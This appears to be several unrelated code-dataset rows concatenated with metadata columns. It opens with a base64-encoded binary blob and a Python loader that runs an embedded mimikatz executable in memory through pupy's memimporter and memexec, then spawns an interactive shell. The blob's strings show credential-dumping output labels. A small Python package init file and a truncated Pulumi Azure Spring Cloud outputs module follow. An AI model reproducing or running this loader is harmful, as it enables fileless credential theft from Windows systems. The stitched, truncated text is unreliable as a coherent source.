/+s1OXUQdN2LTQyB+f///z930v91FIlF6P91EIlF4I0ECYlF5I1F4FDHRexJAAAA6Fnw//+DxAxeycPM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oAPwAiADwAPgB8AAAAAAAASAAAAAAAABgAMgAAAEQAQABHBQgHAQABAAAACgAEAAIACwAIABgAEyAMAEAAEAEQAEgAcAAUAAgAAEgAAAAAAQAIADDgAAAAADgAQABEAggBAAAAAAAAGAEAAFAAcAAEAAgAAEgAAAAAAgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAFwAcAAMAAgAAEgAAAAAAwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMgAUCEMAAgAEwEQAPgCcAAUAAgAAEgAAAAABAAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAMQFcAAMAAgAAEgAAAAABQAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAAIGcAAMAAgAAEgAAAAABgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAJAGcAAMAAgAAEgAAAAABwAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAMoGcAAMAAgAAEgAAAAACAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAA4HUCEMAAgAE2EQAG4HcAAUAAgAAEgAAAAACQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMAHUCEMAAgAE2EQACoIcAAUAAgAAEgAAAAACgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAKYIUCEMAAgAE0EQAF4JcAAUAAgAAEgAAAAACwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAK4JUCEMAAgAEwEQAPIJcAAUAAgAAEgAAAAADAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGAKUCEMAAgAEyEQALwKcAAUAAgAAEgAAAAADQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAEgLUCEMAAgAEyEQAKYLcAAUAAgAAEgAAAAADgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMYLUCEMAAgAEyEQAAAMcAAUAAgAAEgAAAAADwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIABoMUCEMAAgAEyEQAEgMcAAUAAgAAEgAAAAAEAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGIMUCEMAAgAEyEQAJAMcAAUAAgAAEgAAAAAEQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGIPUCEMAAgAEwEQAMwPcAAUAAgAAEgAAAAAEgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIANARcAAMAAgAAEkAAAAAEwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAPIRUCEMAAgAEyEQAFoScAAUAAgAAEkAAAAAFAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGwWUCEMAAgAEyEQAAYXcAAUAAgAAEgAAAAAFQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIACAXUCEMAAgAEyEQAGwXcAAUAAgAAEgAAAAAFgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIALgXcAAMAAgAAEgAAAAAFwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAOoXUCEMAAgAE0EQADIYcAAUAAgAAEgAAAAAGAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAHoYUCEMAAgAE0EQANYYcAAUAAgAAEgAAAAAGQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAB4ZUCEMAAgAEyEQADgZcAAUAAgAAEgAAAAAGgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAFIZUCEMAAgAEyEQAIQZcAAUAAgAAEgAAAAAGwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAF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UAAAAAAAIDUwAJv9cW7cIAAAAAAAAEAAVB0gAC0wAif4ICAhAC1xbGgdgAAAAEAA2CEwA5v0IQEwA3v9cWxIAJPshBwAAGQCAAAEA/////wAATADU/1xbGgeQAAAAKABMAID6TAB8+jZATABg+0wAXPs2TAC1+wgICDYICAhMAI7/NghAWxIA3PoSAOr+EgBE/hIArv8RAAIAKwkpAAQAAQACABwAAQABAAAABAD//xYDHABLXEZcAAAAABEApvpGXAQABAARCCJcWwgITAAT+ghcWxEAAgArCSkABAABAAIAaAACAAEAAAAaAAIAAAA4AP//HQBUAAJbFQBUAEwA9P9cWxYDYABLXEZcAAAAABEAUvpGXAQABAARCCJcWwgITADX/whcWxYDaABLXEZcAAAAABEALvpGXAQABAASACT6RlwIAAgAEgAa+kZcDAAMABEIIlxbCAgICEwAnf8IXFsRAAIAKwkpAAQAAQACAAwAAQABAAAABAD//xYDDABLXEZcAAAAABEA2vlGXAQABAASCCJcWwgICFxbEQACACsJKQAEAAEAAgB4AAEAAQAAAAQA//8WA3gAS1xGXAAAAAARAKD5RlwUABQAEggiXFsITAAO+QhMACH/CAgIXFsRAAIAKwkpAAQAAQACABwAAQABAAAALgD//7cIAQAAABAnAAAbAwQAGQAEAAEAS1xISQQAAAABAAAAAAASAEb5WwhcWxoDHAAAABIACEwAy/82TABE/EwA8vlcWxIAxv8RBAIAKwkpVAwAAQACABQAAQABAAAAJAD//7cIAAAAABAnAAAhAwAAGQAEAAEA/////wAATAAU/FxbGgMUAAAADgAITADV/zZMAKD5XFsSANT/EQACACsJKQAEAAEAAgAUAAEAAQAAADgA//+3CAEAAAAQJwAAtw0BAAAABwAAABsDBAAZAAAAAQBLXEhJBAAAAAEAAAAAABIAivhbCFxbGgMUAAAADgBMAML/NghMAMb/NlsSAMr/EgBq+BEEAgArCSlUDAABAAIAGAABAAEAAABEAP//twgAAAAAECcAALcIAAAAABAnAAAbAwQAGQAEAAEACFsbAwQAGQAIAAEAS1xISQQAAAABAAAAAAASAP73WwhcW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AgArCSkABAABAAIADAABAAEAAAAEAP//FgMMAEtcRlwAAAAAEgglXEZcBAAEABIIJVxbCAgIXFsRBAIAKwkpVAwAAQACAAQAAQABAAAAqv///xEAAgArCSkABAABAAIABAABAAEAAAAEAP//FgMEAEtcRlwAAAAAEgglXFsIXFsRBAIAKwkpVAwAAQACAAQAAQABAAAAYv///xEAAgArCSkABAABAAIACAABAAEAAAAEAP//FgMIAEtcRlwAAAAAEgglXFsICFsRBAIAKwkpVAwAAQACAAgABAABAAAApAACAAAAdAEDAAAARgL/////mAL//7cIAAAAABAnAAAWAxwAS1xGXAAAAAASCCVcRlwEAAQAEgglXEZcCAAIABIIJVxGXAwADAASCCVcRlwQABAAEgglXFsICAgICAgIXFsbAxwAGQAAAAEAS1xISRwAAAAFAAAAAAASCCVcBAAEABIIJVwIAAgAEgglXAwADAASCCVcEAAQABIIJVxbTAB//1saAwgAAAAIAEwAaP82WxIArv+3CAAAAAAQJwAAFgNoAEtcRlwAAAAAEgglXEZcBAAEABIIJVxGXAgACAASCCVcRlwMAAwAEgglXEZcEAAQABIIJVxGXBQAFAASCCVcRlwYABgAEgglXFsICAgICAgICAgITABR8kwATfJMAEnyTABF8lsbA2gAGQAAAAEAS1xISWgAAAAHAAAAAAASCCVcBAAEABIIJVwIAAgAEgglXAwADAASCCVcEAAQABIIJVwUABQAEgglXBgAGAASCCVcW0wASf9bGgMIAAAACABMADL/NlsSAJ7/twgAAAAAECcAABYDbABLXEZcAAAAABIIJVxGXAQABAASCCVcRlwIAAgAEgglXEZcDAAMABIIJVxGXBAAEAASCCVcRlwUABQAEgglXEZcGAAYABIIJVxbCAgICAgICAgICAhMAHrxTAB28UwAcvFMAG7xXFsbA2wAGQAAAAEAS1xISWwAAAAHAAAAAAASCCVcBAAEABIIJVwIAAgAEgglXAwADAASCCVcEAAQABIIJVwUABQAEgglXBgAGAASCCVcW0wAR/9bGgMIAAAACABMADD/NlsSAJ7/twgAAAAAECcAABYDHABLXEZcGAAYABIIJVxbC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AQACAAQADwAAAAAAWAABAAAA7AACAAAA9AADAAAAPAEEAAAANgEFAAAAfgEGAAAAyAEHAAAAQAIIAAAAZgIJAAAAngIKAAAA3gL6////MgP7////dAP8////cgP+////BAD//xIAZAAWB4AAS1xGXAAAAAASCCVcRlwEAAQAEgglXEZcCAAIABIIJVxGXAwADAASCCVcWwgICAgICEwADe1MAAntTAAF7UwAAe0LC0wA1f5MANH+CAhbGweAAAkA+P8BAEwAov9cWxgHCADs/0tcSEmAAAgABAAIAAgAEgglXAwADAASCCVcEAAQABIIJVwUABQAEgglXFsICFsSAAIAFwcIABTuCAhcWxIAMAAWBzAAS1xGXAAAAAASCCVcWwgITABh/kwAg+wLC1sbBzAACQD4/wEATADW/1xbGAcIAOz/S1xISTAACAABAAgACAASCCVcWwgIWxIAMAAWAyQAS1xGXAAAAAASCCVcWwhMADrsTAAQ/ggIXFsbAyQACQD4/wEATADW/1xbGAMIAOz/S1xISSQACAABAAgACAASCCVcWwgIWxIAQAAaA0QAAAAWAEwA0P0ICA0INjY2TADr60wA5+tbEgglXBIIJVwSCCVcIQMAAAkA/P8BAP////8AAEwAxv9cWxoDDADm/wAATACS/QhbEgBQABYHUABLXEZcAAAAABIIJVxGXAQABAASCCVcRlwMAAwAFABQ9VsICAgITABf/UwAW/0ITABW/UwAeOtACwtbGwdQAAkA+P8BAEwAtv9cWxgHCADs/0tcSElQAAgAAwAIAAgAEgglXAwADAASCCVcFAAUABQA/vRbCAhbEgAgABUHIABMACzrC0wAAf1bGwcgAAkA+P8BAEwA5v9cWxcHCADs/wgIXFsSADAAGgcoAAAADgBMAPzqC0wA0fw2QFsSCCVcIQcAAAkA+P8BAP////8AAEwA1v9cWxoHCADm/wAACAhcWxIAOAAaBzgAAAASADYITACW/EwAuOoLCzZAXFsSCCVcEgglXCEHAAAJAPj/AQD/////AABMAM7/XFsaBwgA5v8AAAgIXFsSAEwAGgdYAAAAHgA2Ngg2TABO/EwASvwITABF/EwAZ+pACws2QFxbEgglXBIIJVwUABb0EgglXCEHAAAJAPj/AQD/////AABMALr/XFsaBwgA5v8AAAgIXFsSADgAtwgAAAAAAAEAABoHKAAAAAwANggICAgICwhAWxIIJVwhBwAACQD4/wEA/////wAATADY/1xbGgcIAOb/AABMAMD/CFsSAGDrEgAsALcIAAAAABAnAAAVBzAACwgITADJ6QsICFxbGwcwAAkA+P8BAEwA5P9cWxoHCADs/wAATADM/whbEQACACsJKQAEAAEAAgAwAAEAAQAAAEYA//+3CAAAAAAAAQAAtwgAAAAAAAEAALcIAAAAAAABAAAbAQIAGQAQAAEABVsbAQIAGQAYAAEABVsbAQIAGQAgAAEABVsaAzAAAAAYAAg2NjZMALD/NkwAtf82TAC6/zY2NlsSCCVcEgglXBQIJVwSALD/EgC4/xIAwP8SCCVcEgglXBEEAgArCSlUDAABAAIABAABAAEAAACk9P//EQACACsJKQAEAAEAAgAIAAEAAQAAACQA//+3CAEAAAAQJwAAIQMAABkAAAABAP////8AAEwAuPBcWxoDCAAAAAgATADW/zZbEgDa/xEEAgArCSlUDAABAAIACAABAAEAAAAkAP//twgAAAAAECcAACEDAAAZAAAAAQD/////AABMAOLwXFsaAwgAAAAIAEwA1v82WxIA2v8RAAIAKwkpAAQAAQACABgAAQABAAAABAD//xYDGABLXEZcAAAAABEAsuhbCEwAKugIWxEAAgArCSkABAABAAIALAABAAEAAAAKAP//HQAQAAJbFgMsAEtcRlwUABQAEgB66EZcGAAYABIAbOlbTADp5wgICEwA1v9cWxEEAgArCSlUDAABAAIADAABAAEAAAAeAP//twgAAAAAAACgABsDEAAZAAQAAQBMAK7nXFsaAwwAAAAKAAhMANv/NlxbEgDe/xEAAgArCSkABAABAAIAEAABAAEAAAAuAP//twgBAAAAECcAABsDBAAZAAQAAQBLXEhJBAAAAAEAAAAAABIIJVxbCFxbGgMQAAAACgA2TADL/zYIWxIIJVwSAMr/EQQCACsJKVQMAAEAAgAMAAEAAQAAAB4A//+3CAAAAAAQJwAAGwMIABkAAAABAEwA5PhcWxoDDAAAAAoATADc/zYIXFsSAN7/EQACACsJKQAEAAEAAgAEAAEAAQAAAIzy//8RBAIAKwkpVAwAAQACAAQAAQABAAAAcvL//xEAAgArCSkABAABAAIAGAABAAEAAAAEAP//FgMYAEtcRlwUABQAEQAY51sITACQ5ghbEQQCACsJKVQMAAEAAgAEAAEAAQAAACby//8RAAIAKwkpAAQAAQACABgAAQABAAAABAD//xYDGABLXEZcFAAUABIIJVxbCEwAROYIWxEEAgArCSlUDAABAAIADAABAAEAAAAEAP//FQMMAAgICFsRAAIAKwkpAAQAAQACAAgAAQABAAAABAD//xYDCABLXEZcAAAAABIIJVxGXAQABAASCCVcWwgIWxEEAgArCSlUDAABAAIAEAABAAEAAAAaAP//twgAAAAAAAQAABsBAgAZAAgAAQAFWxoDEAAAAAoANjZMAN7/NlsSCCVcEgglXBIA2v8RAAIAKwkpAAQAAQACAAwAAQABAAAADgD//7cIAAAAAP//AAAaAwwAAAAKADZMAOv/NlxbEgglXBIAoukRBAIAKwkpVAwAAQACAAQAAQABAAAA+PD//xEAAgArCSkABAABAAIABAABAAEAAABS8f//EQQCACsJKVQMAAEAAgAMAAEAAQAAAA4A//+3CAAAAAD//wAAGgMMAAAACgAITADr/zZcWxIANukRAAIAKwkpAAQAAQACAAQAAQABAAAAjPD//xEEAgArCSlUDAABAAIAIAABAAEAAAA6AP//twgAAAAAAAQAALcIAAAAAAAAoAC3CAAAAAAAAKAAGwABABkAEAABAAJbGwABABkAGAABAAJbGgMgAAAAFAAINkwAvv82TADD/zZMAMj/NlsSCCVcEgAq7hIAxP8SAMz/EQACACsJKQAEAAEAAgAMAAEAAQAAAA4A//+3CAEAAAAABAAAGgMMAAAACgAITADr/zZcWxIAaugRBAIAKwkpVAwAAQACAAgAAQABAAAABAD//xYDCABLXEZcBAAEABIIJVxbCAhbAAAAADoAZACaANwAEgFIAX4BtAH2ATgCegK8Av4CQAOCA8QDBgRIBH4EwAQCBUQFegW8Bf4FQAaCBsQGBgdIBwAAGIlCAJyLQADDi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gBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAoACQAgACoAIABQAGEAcwBzAHcAbwByAGQAIAA6ACAAAAAAAEwAVQBJAEQAIABLAE8ACgAAAAAACgAJACAAKgAgAFIAbwBvAHQASwBlAHkAIAAgADoAIAAAAAAACgAJACAAKgAgAEQAUABBAFAASQAgACAAIAAgADoAIAAAAAAACgAJACAAKgAgACUAMAA4AHgAIAA6ACAAAAAAAAoACQAgACAAIAAqACAATABTAEEAIABJAHMAbwBsAGEAdABlAGQAIABEAGEAdABhADoAIAAlAC4AKgBTAAAAAAAKAAkAIAAgACAAIAAgAFUAbgBrAC0ASwBlAHkAIAAgADoAIAAAAAAACgAJACAAIAAgACAAIABFAG4AYwByAHkAcAB0AGUAZAA6ACAAAAAAAAoACQAJACAAIAAgAFMAUwA6ACUAdQAsACAAVABTADoAJQB1ACwAIABEAFMAOgAlAHUAAAAAAAAACgAJAAkAIAAgACAAMAA6ADAAeAAlAHgALAAgADEAOgAwAHgAJQB4ACwAIAAyADoAMAB4ACUAeAAsACAAMwA6ADAAeAAlAHgALAAgADQAOgAwAHgAJQB4ACwAIABFADoAAAAAACwAIAA1ADoAMAB4ACUAeAAAAAAACgAJACAAWwAlADAAOAB4AF0AAABkAHAAYQBwAGkAcwByAHYALgBkAGwAbAAAAAAACQAgAFsAJQAwADgAeABdAAoACQAgACoAIABHAFUASQBEACAAIAAgACAAIAAgADoACQAAAAoACQAgACoAIABUAGkAbQBlACAAIAAgACAAIAAgADoACQAAAAoACQAgACoAIABNAGEAcwB0AGUAcgBLAGUAeQAgADoACQAAAAoACQAgACoAIABzAGgAYQAxACgAawBlAHkAKQAgADoACQAAAAoACQBLAE8AAAAAAFQAaQBjAGsAZQB0ACAARwByAGEAbgB0AGkAbgBnACAAVABpAGMAawBlAHQAAAAAAEMAbABpAGUAbgB0ACAAVABpAGMAawBlAHQAIAA/AAAAVABpAGMAawBlAHQAIAB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4AZQB4AGUAAAAAAFoAHQABAFAAcgBpAHYAYQB0AGUAQgB1AGkAbABkAAAAQgB1AGkAbABkACAAdwBpAHQAaAAgAGwAbwB2AGUAIABmAG8AcgAgAFAATwBDACAAbwBuAGwAeQAAAAAAPAAOAAEAUwBwAGUAYwBpAGEAbABCAHUAaQBsAGQAAABrAGkAdwBpACAAZgBsAGEAdgBvAHIAIAAhAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAkEsAQoAAAAMAAAAGAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFT9iAAoFAQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsAFkJnAAoGAwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACQMAAAsKCQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAgsLCwQLCwsJCwsLDgsLCxMLCwsXCwsLGgsLCxcLCwsTCwsLDQsLCwULCwsCCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALC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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="""
if __name__=="__main__":
#initializing memimporter to inject the shellcode
pymemimporter.init()
#import new builtin _memimporter module
import _memimporter
#load pupymemexec.pyd dependency from memory, which is a dependency for memexec.py
imp.acquire_lock()
pkgname="pupymemexec"
mod=_memimporter.import_module(base64.b64decode(pupymem_exec_pyd.strip()), "init"+pkgname, pkgname, pkgname)
mod.__name__=pkgname
mod.__file__="<lolnofile>"
mod.__package__=pkgname
sys.modules[pkgname]=mod
imp.release_lock()
#execute the PE and interact with its stdin/stdout
import memexec
mpe=memexec.MemoryPE(base64.b64decode(mimikatz_32.strip()))
mpe.run()
mpe.get_shell()
| 14,169.75
| 451,247
| 0.952314
| 16,994
| 510,111
| 28.583794
| 0.810463
| 0.000198
| 0.000086
| 0.000099
| 0.003611
| 0.003154
| 0.002207
| 0.001886
| 0.001223
| 0.000301
| 0
| 0.088311
| 0.00028
| 510,111
| 35
| 451,248
| 14,574.6
| 0.864205
| 0.000423
| 0
| 0
| 0
| 0.086957
| 0.998863
| 0.998792
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.347826
| 0
| 0.347826
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
913a7b4e6d725db42cd39b0406e3a0cb3a8c8eca
| 85
|
py
|
Python
|
fifty/commands/__init__.py
|
mittalgovind/fifty
|
0d309084aea78ec1fe66ef3f03fb27d6c8d1032b
|
[
"Apache-2.0"
] | 12
|
2019-08-18T11:04:31.000Z
|
2022-03-16T07:01:01.000Z
|
fifty/commands/__init__.py
|
mittalgovind/fifty
|
0d309084aea78ec1fe66ef3f03fb27d6c8d1032b
|
[
"Apache-2.0"
] | 7
|
2019-10-23T19:07:38.000Z
|
2022-02-10T03:54:06.000Z
|
fifty/commands/__init__.py
|
mittalgovind/fifty
|
0d309084aea78ec1fe66ef3f03fb27d6c8d1032b
|
[
"Apache-2.0"
] | 4
|
2019-12-17T02:27:29.000Z
|
2020-10-02T09:46:16.000Z
|
# __init__.py
from fifty.commands.train import *
from fifty.commands.whatis import *
| 21.25
| 35
| 0.788235
| 12
| 85
| 5.25
| 0.666667
| 0.285714
| 0.539683
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117647
| 85
| 3
| 36
| 28.333333
| 0.84
| 0.129412
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
913f2ee7f2c789befb218e20b685d9af380228a7
| 36,275
|
py
|
Python
|
sdk/python/pulumi_azure/appplatform/outputs.py
|
suresh198526/pulumi-azure
|
bf27206a38d7a5c58b3c2c57ec8769fe3d0fc5d7
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_azure/appplatform/outputs.py
|
suresh198526/pulumi-azure
|
bf27206a38d7a5c58b3c2c57ec8769fe3d0fc5d7
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_azure/appplatform/outputs.py
|
suresh198526/pulumi-azure
|
bf27206a38d7a5c58b3c2c57ec8769fe3d0fc5d7
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from .. import _utilities, _tables
from . import outputs
__all__ = [
'SpringCloudAppIdentity',
'SpringCloudServiceConfigServerGitSetting',
'SpringCloudServiceConfigServerGitSettingHttpBasicAuth',
'SpringCloudServiceConfigServerGitSettingRepository',
'SpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuth',
'SpringCloudServiceConfigServerGitSettingRepositorySshAuth',
'SpringCloudServiceConfigServerGitSettingSshAuth',
'SpringCloudServiceNetwork',
'SpringCloudServiceTrace',
'GetSpringCloudServiceConfigServerGitSettingResult',
'GetSpringCloudServiceConfigServerGitSettingHttpBasicAuthResult',
'GetSpringCloudServiceConfigServerGitSettingRepositoryResult',
'GetSpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuthResult',
'GetSpringCloudServiceConfigServerGitSettingRepositorySshAuthResult',
'GetSpringCloudServiceConfigServerGitSettingSshAuthResult',
]
@pulumi.output_type
class SpringCloudAppIdentity(dict):
def __init__(__self__, *,
type: str,
principal_id: Optional[str] = None,
tenant_id: Optional[str] = None):
"""
:param str type: Specifies the identity type of the Spring Cloud Application. Possible value is `SystemAssigned`.
:param str principal_id: The Principal ID for the Service Principal associated with the Managed Service Identity of this Spring Cloud Application.
:param str tenant_id: The Tenant ID for the Service Principal associated with the Managed Service Identity of this Spring Cloud Application.
"""
pulumi.set(__self__, "type", type)
if principal_id is not None:
pulumi.set(__self__, "principal_id", principal_id)
if tenant_id is not None:
pulumi.set(__self__, "tenant_id", tenant_id)
@property
@pulumi.getter
def type(self) -> str:
"""
Specifies the identity type of the Spring Cloud Application. Possible value is `SystemAssigned`.
"""
return pulumi.get(self, "type")
@property
@pulumi.getter(name="principalId")
def principal_id(self) -> Optional[str]:
"""
The Principal ID for the Service Principal associated with the Managed Service Identity of this Spring Cloud Application.
"""
return pulumi.get(self, "principal_id")
@property
@pulumi.getter(name="tenantId")
def tenant_id(self) -> Optional[str]:
"""
The Tenant ID for the Service Principal associated with the Managed Service Identity of this Spring Cloud Application.
"""
return pulumi.get(self, "tenant_id")
def _translate_property(self, prop):
return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
@pulumi.output_type
class SpringCloudServiceConfigServerGitSetting(dict):
def __init__(__self__, *,
uri: str,
http_basic_auth: Optional['outputs.SpringCloudServiceConfigServerGitSettingHttpBasicAuth'] = None,
label: Optional[str] = None,
repositories: Optional[Sequence['outputs.SpringCloudServiceConfigServerGitSettingRepository']] = None,
search_paths: Optional[Sequence[str]] = None,
ssh_auth: Optional['outputs.SpringCloudServiceConfigServerGitSettingSshAuth'] = None):
"""
:param str uri: The URI of the default Git repository used as the Config Server back end, should be started with `http://`, `https://`, `git@`, or `ssh://`.
:param 'SpringCloudServiceConfigServerGitSettingHttpBasicAuthArgs' http_basic_auth: A `http_basic_auth` block as defined below.
:param str label: The default label of the Git repository, should be the branch name, tag name, or commit-id of the repository.
:param Sequence['SpringCloudServiceConfigServerGitSettingRepositoryArgs'] repositories: One or more `repository` blocks as defined below.
:param Sequence[str] search_paths: An array of strings used to search subdirectories of the Git repository.
:param 'SpringCloudServiceConfigServerGitSettingSshAuthArgs' ssh_auth: A `ssh_auth` block as defined below.
"""
pulumi.set(__self__, "uri", uri)
if http_basic_auth is not None:
pulumi.set(__self__, "http_basic_auth", http_basic_auth)
if label is not None:
pulumi.set(__self__, "label", label)
if repositories is not None:
pulumi.set(__self__, "repositories", repositories)
if search_paths is not None:
pulumi.set(__self__, "search_paths", search_paths)
if ssh_auth is not None:
pulumi.set(__self__, "ssh_auth", ssh_auth)
@property
@pulumi.getter
def uri(self) -> str:
"""
The URI of the default Git repository used as the Config Server back end, should be started with `http://`, `https://`, `git@`, or `ssh://`.
"""
return pulumi.get(self, "uri")
@property
@pulumi.getter(name="httpBasicAuth")
def http_basic_auth(self) -> Optional['outputs.SpringCloudServiceConfigServerGitSettingHttpBasicAuth']:
"""
A `http_basic_auth` block as defined below.
"""
return pulumi.get(self, "http_basic_auth")
@property
@pulumi.getter
def label(self) -> Optional[str]:
"""
The default label of the Git repository, should be the branch name, tag name, or commit-id of the repository.
"""
return pulumi.get(self, "label")
@property
@pulumi.getter
def repositories(self) -> Optional[Sequence['outputs.SpringCloudServiceConfigServerGitSettingRepository']]:
"""
One or more `repository` blocks as defined below.
"""
return pulumi.get(self, "repositories")
@property
@pulumi.getter(name="searchPaths")
def search_paths(self) -> Optional[Sequence[str]]:
"""
An array of strings used to search subdirectories of the Git repository.
"""
return pulumi.get(self, "search_paths")
@property
@pulumi.getter(name="sshAuth")
def ssh_auth(self) -> Optional['outputs.SpringCloudServiceConfigServerGitSettingSshAuth']:
"""
A `ssh_auth` block as defined below.
"""
return pulumi.get(self, "ssh_auth")
def _translate_property(self, prop):
return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
@pulumi.output_type
class SpringCloudServiceConfigServerGitSettingHttpBasicAuth(dict):
def __init__(__self__, *,
password: str,
username: str):
"""
:param str password: The password used to access the Git repository server, required when the Git repository server supports Http Basic Authentication.
:param str username: The username that's used to access the Git repository server, required when the Git repository server supports Http Basic Authentication.
"""
pulumi.set(__self__, "password", password)
pulumi.set(__self__, "username", username)
@property
@pulumi.getter
def password(self) -> str:
"""
The password used to access the Git repository server, required when the Git repository server supports Http Basic Authentication.
"""
return pulumi.get(self, "password")
@property
@pulumi.getter
def username(self) -> str:
"""
The username that's used to access the Git repository server, required when the Git repository server supports Http Basic Authentication.
"""
return pulumi.get(self, "username")
def _translate_property(self, prop):
return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
@pulumi.output_type
class SpringCloudServiceConfigServerGitSettingRepository(dict):
def __init__(__self__, *,
name: str,
uri: str,
http_basic_auth: Optional['outputs.SpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuth'] = None,
label: Optional[str] = None,
patterns: Optional[Sequence[str]] = None,
search_paths: Optional[Sequence[str]] = None,
ssh_auth: Optional['outputs.SpringCloudServiceConfigServerGitSettingRepositorySshAuth'] = None):
"""
:param str name: A name to identify on the Git repository, required only if repos exists.
:param str uri: The URI of the Git repository that's used as the Config Server back end should be started with `http://`, `https://`, `git@`, or `ssh://`.
:param 'SpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuthArgs' http_basic_auth: A `http_basic_auth` block as defined below.
:param str label: The default label of the Git repository, should be the branch name, tag name, or commit-id of the repository.
:param Sequence[str] patterns: An array of strings used to match an application name. For each pattern, use the `{application}/{profile}` format with wildcards.
:param Sequence[str] search_paths: An array of strings used to search subdirectories of the Git repository.
:param 'SpringCloudServiceConfigServerGitSettingRepositorySshAuthArgs' ssh_auth: A `ssh_auth` block as defined below.
"""
pulumi.set(__self__, "name", name)
pulumi.set(__self__, "uri", uri)
if http_basic_auth is not None:
pulumi.set(__self__, "http_basic_auth", http_basic_auth)
if label is not None:
pulumi.set(__self__, "label", label)
if patterns is not None:
pulumi.set(__self__, "patterns", patterns)
if search_paths is not None:
